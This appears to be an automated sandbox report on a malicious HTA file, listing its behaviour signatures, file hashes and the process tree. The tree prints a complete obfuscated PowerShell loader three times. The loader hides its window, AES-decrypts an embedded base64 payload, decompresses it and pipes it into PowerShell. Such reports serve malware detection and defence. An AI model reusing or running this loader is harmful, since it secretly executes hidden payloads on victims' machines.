Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

  • max time kernel
    116s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-01-2025 11:26

General

  • Target

    163.5.169.28/SCAN-atoletter2.hta

  • Size

    1.1MB

  • MD5

    0e02311efc79d0580a3ae453f00cce83

  • SHA1

    77721025336c37d0df3349badaa71e6610c6d429

  • SHA256

    01e20536cc9847e7411bbb0e4d7381774f0e5e4cc86bfd6fdf0e12229d1d2786

  • SHA512

    312589562ec740619629402876f4c077b56e0f3985686a6747c8c1d277f1bb56b41c21ef4fa1054178105a584692d3f6fc09af76e5edf4c6773826836c4b7bae

  • SSDEEP

    1536:y4pLmOmQ7Mf99jXfqe+Wjyosy3vmr/l1vcmafSIm+lIWFR3QXdpkJJ0sVaVMHfFP:y4pLZmQ7CJXReoz3zH

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4452
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $TDohU = 'AAAAAAAAAAAAAAAAAAAAAGsUUyZG1ov5a02EsZJ08iND6xtNaHYueIFf1KEbO8sk6iRxkUH3rWkOAU2b0zAIoNDqn+SH7Et754c/eWo/FTHSM0ibAvSB25VdT1n9VfcCtPHYpqmPvh3/RPsjfIQUKE56y3aJwh+C+6prv6udKMhq6/bu51o5kW4qWK0WJvFNbh7djNDcp6ObqNDm65yNdNGC56NxipDnOb72Jt/hXcEo7D1isT4TKr535ODPJvaI8HUXtJM3ClSSm0Ijy8uYD0fus5OdPcwHgyuDGT42w0YQDNxEe29suowP6LjtonRF1xKidUSTlND00BVHohDGk5ikVRbSO34/KkafXPhyrhsPE2t3LbSkUDqSmZv8GctQ4bvdAxnMZLG75kqnZBxLxsrOAMA+Bc6GuMtW4oYBqQXb1T1jRhD9Lupu2G7rxLcR306ybq7DbdROSKmNTlswEbrYF+/i1JzdgtuCtzzB9GtKHAsWvGX6N9u1CSIF2nmS9DducoqHw1EyXJ5k2R4p2awO/rtmbi3v+ic4+HHDiCinin3b6l4XtCW64wdrjdJUYiv7fb9T/3Mm2Nv8v3J5RMxTMp18zFhibOzh14ttVEZethW6zH423U3uiE1qbrIwhZ4a5JZF+B8+kOExz7Og/rZnvuDGvEUng5eRpNheajm35u+F6fUHiF+O7jERqGWAf2mXVbjy4Ii12TJTc2Ox/90Zsb+zpAyHNgW51au22US+8X19SI7Jj2GSp8v/dfDdaHq1aR6OhjJgBz8vusp1RFpFSLgKE6DaruPbL/Ze+T9RoygxoTFcFRLg+9GSO/Yns98FQkwt+o62ub8c37H/YislraFfTc4ZgCb/xou0D9sQRp44NzPCruSq74SL3BkUGDdbsO7EbUnPF9qpdnOJYz8BWbK2TjasowEJzSZDTY1Mmns6JKjTha+1Pxh7bKitckYPldLE2s3Yur8ww6tlx1cRFFoD2Z/eP4AAdwKEn6V3x79FfZSRQbanYSa0e8NkfarxWqPZR2q7Ldyc1U/i1g==';$QhjpuY = 'T1Vab3RURHF4R1RIQVJ6TWJoTmJERVNYQ2lsemFMYXE=';$XNjmYUUU = New-Object 'System.Security.Cryptography.AesManaged';$XNjmYUUU.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XNjmYUUU.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XNjmYUUU.BlockSize = 128;$XNjmYUUU.KeySize = 256;$XNjmYUUU.Key = [System.Convert]::FromBase64String($QhjpuY);$ZbOvE = [System.Convert]::FromBase64String($TDohU);$CGfOYIRO = $ZbOvE[0..15];$XNjmYUUU.IV = $CGfOYIRO;$LwrOMzefd = $XNjmYUUU.CreateDecryptor();$ldlRDguUf = $LwrOMzefd.TransformFinalBlock($ZbOvE, 16, $ZbOvE.Length - 16);$XNjmYUUU.Dispose();$ynpPY = New-Object System.IO.MemoryStream( , $ldlRDguUf );$CCVny = New-Object System.IO.MemoryStream;$WXaAoEGtt = New-Object System.IO.Compression.GzipStream $ynpPY, ([IO.Compression.CompressionMode]::Decompress);$WXaAoEGtt.CopyTo( $CCVny );$WXaAoEGtt.Close();$ynpPY.Close();[byte[]] $gLXiEJ = $CCVny.ToArray();$mrjDyZl = [System.Text.Encoding]::UTF8.GetString($gLXiEJ);$mrjDyZl | powershell - }
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1244
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $TDohU = 'AAAAAAAAAAAAAAAAAAAAAGsUUyZG1ov5a02EsZJ08iND6xtNaHYueIFf1KEbO8sk6iRxkUH3rWkOAU2b0zAIoNDqn+SH7Et754c/eWo/FTHSM0ibAvSB25VdT1n9VfcCtPHYpqmPvh3/RPsjfIQUKE56y3aJwh+C+6prv6udKMhq6/bu51o5kW4qWK0WJvFNbh7djNDcp6ObqNDm65yNdNGC56NxipDnOb72Jt/hXcEo7D1isT4TKr535ODPJvaI8HUXtJM3ClSSm0Ijy8uYD0fus5OdPcwHgyuDGT42w0YQDNxEe29suowP6LjtonRF1xKidUSTlND00BVHohDGk5ikVRbSO34/KkafXPhyrhsPE2t3LbSkUDqSmZv8GctQ4bvdAxnMZLG75kqnZBxLxsrOAMA+Bc6GuMtW4oYBqQXb1T1jRhD9Lupu2G7rxLcR306ybq7DbdROSKmNTlswEbrYF+/i1JzdgtuCtzzB9GtKHAsWvGX6N9u1CSIF2nmS9DducoqHw1EyXJ5k2R4p2awO/rtmbi3v+ic4+HHDiCinin3b6l4XtCW64wdrjdJUYiv7fb9T/3Mm2Nv8v3J5RMxTMp18zFhibOzh14ttVEZethW6zH423U3uiE1qbrIwhZ4a5JZF+B8+kOExz7Og/rZnvuDGvEUng5eRpNheajm35u+F6fUHiF+O7jERqGWAf2mXVbjy4Ii12TJTc2Ox/90Zsb+zpAyHNgW51au22US+8X19SI7Jj2GSp8v/dfDdaHq1aR6OhjJgBz8vusp1RFpFSLgKE6DaruPbL/Ze+T9RoygxoTFcFRLg+9GSO/Yns98FQkwt+o62ub8c37H/YislraFfTc4ZgCb/xou0D9sQRp44NzPCruSq74SL3BkUGDdbsO7EbUnPF9qpdnOJYz8BWbK2TjasowEJzSZDTY1Mmns6JKjTha+1Pxh7bKitckYPldLE2s3Yur8ww6tlx1cRFFoD2Z/eP4AAdwKEn6V3x79FfZSRQbanYSa0e8NkfarxWqPZR2q7Ldyc1U/i1g==';$QhjpuY = 'T1Vab3RURHF4R1RIQVJ6TWJoTmJERVNYQ2lsemFMYXE=';$XNjmYUUU = New-Object 'System.Security.Cryptography.AesManaged';$XNjmYUUU.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XNjmYUUU.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XNjmYUUU.BlockSize = 128;$XNjmYUUU.KeySize = 256;$XNjmYUUU.Key = [System.Convert]::FromBase64String($QhjpuY);$ZbOvE = [System.Convert]::FromBase64String($TDohU);$CGfOYIRO = $ZbOvE[0..15];$XNjmYUUU.IV = $CGfOYIRO;$LwrOMzefd = $XNjmYUUU.CreateDecryptor();$ldlRDguUf = $LwrOMzefd.TransformFinalBlock($ZbOvE, 16, $ZbOvE.Length - 16);$XNjmYUUU.Dispose();$ynpPY = New-Object System.IO.MemoryStream( , $ldlRDguUf );$CCVny = New-Object System.IO.MemoryStream;$WXaAoEGtt = New-Object System.IO.Compression.GzipStream $ynpPY, ([IO.Compression.CompressionMode]::Decompress);$WXaAoEGtt.CopyTo( $CCVny );$WXaAoEGtt.Close();$ynpPY.Close();[byte[]] $gLXiEJ = $CCVny.ToArray();$mrjDyZl = [System.Text.Encoding]::UTF8.GetString($gLXiEJ);$mrjDyZl | powershell -
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4472
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $TDohU = 'AAAAAAAAAAAAAAAAAAAAAGsUUyZG1ov5a02EsZJ08iND6xtNaHYueIFf1KEbO8sk6iRxkUH3rWkOAU2b0zAIoNDqn+SH7Et754c/eWo/FTHSM0ibAvSB25VdT1n9VfcCtPHYpqmPvh3/RPsjfIQUKE56y3aJwh+C+6prv6udKMhq6/bu51o5kW4qWK0WJvFNbh7djNDcp6ObqNDm65yNdNGC56NxipDnOb72Jt/hXcEo7D1isT4TKr535ODPJvaI8HUXtJM3ClSSm0Ijy8uYD0fus5OdPcwHgyuDGT42w0YQDNxEe29suowP6LjtonRF1xKidUSTlND00BVHohDGk5ikVRbSO34/KkafXPhyrhsPE2t3LbSkUDqSmZv8GctQ4bvdAxnMZLG75kqnZBxLxsrOAMA+Bc6GuMtW4oYBqQXb1T1jRhD9Lupu2G7rxLcR306ybq7DbdROSKmNTlswEbrYF+/i1JzdgtuCtzzB9GtKHAsWvGX6N9u1CSIF2nmS9DducoqHw1EyXJ5k2R4p2awO/rtmbi3v+ic4+HHDiCinin3b6l4XtCW64wdrjdJUYiv7fb9T/3Mm2Nv8v3J5RMxTMp18zFhibOzh14ttVEZethW6zH423U3uiE1qbrIwhZ4a5JZF+B8+kOExz7Og/rZnvuDGvEUng5eRpNheajm35u+F6fUHiF+O7jERqGWAf2mXVbjy4Ii12TJTc2Ox/90Zsb+zpAyHNgW51au22US+8X19SI7Jj2GSp8v/dfDdaHq1aR6OhjJgBz8vusp1RFpFSLgKE6DaruPbL/Ze+T9RoygxoTFcFRLg+9GSO/Yns98FQkwt+o62ub8c37H/YislraFfTc4ZgCb/xou0D9sQRp44NzPCruSq74SL3BkUGDdbsO7EbUnPF9qpdnOJYz8BWbK2TjasowEJzSZDTY1Mmns6JKjTha+1Pxh7bKitckYPldLE2s3Yur8ww6tlx1cRFFoD2Z/eP4AAdwKEn6V3x79FfZSRQbanYSa0e8NkfarxWqPZR2q7Ldyc1U/i1g==';$QhjpuY = 'T1Vab3RURHF4R1RIQVJ6TWJoTmJERVNYQ2lsemFMYXE=';$XNjmYUUU = New-Object 'System.Security.Cryptography.AesManaged';$XNjmYUUU.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XNjmYUUU.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XNjmYUUU.BlockSize = 128;$XNjmYUUU.KeySize = 256;$XNjmYUUU.Key = [System.Convert]::FromBase64String($QhjpuY);$ZbOvE = [System.Convert]::FromBase64String($TDohU);$CGfOYIRO = $ZbOvE[0..15];$XNjmYUUU.IV = $CGfOYIRO;$LwrOMzefd = $XNjmYUUU.CreateDecryptor();$ldlRDguUf = $LwrOMzefd.TransformFinalBlock($ZbOvE, 16, $ZbOvE.Length - 16);$XNjmYUUU.Dispose();$ynpPY = New-Object System.IO.MemoryStream( , $ldlRDguUf );$CCVny = New-Object System.IO.MemoryStream;$WXaAoEGtt = New-Object System.IO.Compression.GzipStream $ynpPY, ([IO.Compression.CompressionMode]::Decompress);$WXaAoEGtt.CopyTo( $CCVny );$WXaAoEGtt.Close();$ynpPY.Close();[byte[]] $gLXiEJ = $CCVny.ToArray();$mrjDyZl = [System.Text.Encoding]::UTF8.GetString($gLXiEJ);$mrjDyZl
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5108
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1628

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    def65711d78669d7f8e69313be4acf2e

    SHA1

    6522ebf1de09eeb981e270bd95114bc69a49cda6

    SHA256

    aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

    SHA512

    05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    15KB

    MD5

    252896ef68770e7d0cd14fd45af73cec

    SHA1

    ec163c3f7b812fac8ddc0d45f59e412be79083bc

    SHA256

    ccf96b3ef1a63c065355ad3442b1a88530fd5d49ba2275730d7cc7f14c1bf3ae

    SHA512

    e44d0b3b30958ccb22b6b662a1273006ba9f1a90feee05bac2e2b0fb0e171ab1932f913e799608afb46402d1ae674ebbdc245e5787398a993c0dc09ecdc015e8

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xe2fpfnt.rw5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1244-22-0x00000000065A0000-0x00000000065C2000-memory.dmp

    Filesize

    136KB

  • memory/1244-26-0x0000000070ED0000-0x0000000071680000-memory.dmp

    Filesize

    7.7MB

  • memory/1244-5-0x0000000005050000-0x0000000005072000-memory.dmp

    Filesize

    136KB

  • memory/1244-7-0x0000000005A00000-0x0000000005A66000-memory.dmp

    Filesize

    408KB

  • memory/1244-2-0x0000000070ED0000-0x0000000071680000-memory.dmp

    Filesize

    7.7MB

  • memory/1244-6-0x0000000005920000-0x0000000005986000-memory.dmp

    Filesize

    408KB

  • memory/1244-17-0x0000000005A70000-0x0000000005DC4000-memory.dmp

    Filesize

    3.3MB

  • memory/1244-18-0x0000000006020000-0x000000000603E000-memory.dmp

    Filesize

    120KB

  • memory/1244-19-0x0000000006070000-0x00000000060BC000-memory.dmp

    Filesize

    304KB

  • memory/1244-20-0x00000000071F0000-0x0000000007286000-memory.dmp

    Filesize

    600KB

  • memory/1244-21-0x0000000006520000-0x000000000653A000-memory.dmp

    Filesize

    104KB

  • memory/1244-0-0x0000000070EDE000-0x0000000070EDF000-memory.dmp

    Filesize

    4KB

  • memory/1244-23-0x0000000007840000-0x0000000007DE4000-memory.dmp

    Filesize

    5.6MB

  • memory/1244-4-0x0000000070ED0000-0x0000000071680000-memory.dmp

    Filesize

    7.7MB

  • memory/1244-3-0x0000000005100000-0x0000000005728000-memory.dmp

    Filesize

    6.2MB

  • memory/1244-1-0x0000000004A60000-0x0000000004A96000-memory.dmp

    Filesize

    216KB

  • memory/1628-48-0x0000000006AF0000-0x0000000006B34000-memory.dmp

    Filesize

    272KB

  • memory/1628-50-0x00000000078B0000-0x0000000007926000-memory.dmp

    Filesize

    472KB

  • memory/1628-53-0x0000000007DD0000-0x0000000007E02000-memory.dmp

    Filesize

    200KB

  • memory/1628-54-0x000000006D790000-0x000000006D7DC000-memory.dmp

    Filesize

    304KB

  • memory/1628-55-0x000000006DB00000-0x000000006DE54000-memory.dmp

    Filesize

    3.3MB

  • memory/1628-65-0x0000000007E10000-0x0000000007E2E000-memory.dmp

    Filesize

    120KB

  • memory/1628-66-0x0000000007E30000-0x0000000007ED3000-memory.dmp

    Filesize

    652KB

  • memory/1628-67-0x0000000007F30000-0x0000000007F3A000-memory.dmp

    Filesize

    40KB

  • memory/1628-68-0x0000000007F70000-0x0000000007F81000-memory.dmp

    Filesize

    68KB

  • memory/5108-42-0x0000000006330000-0x0000000006684000-memory.dmp

    Filesize

    3.3MB

  • memory/5108-49-0x0000000008040000-0x00000000086BA000-memory.dmp

    Filesize

    6.5MB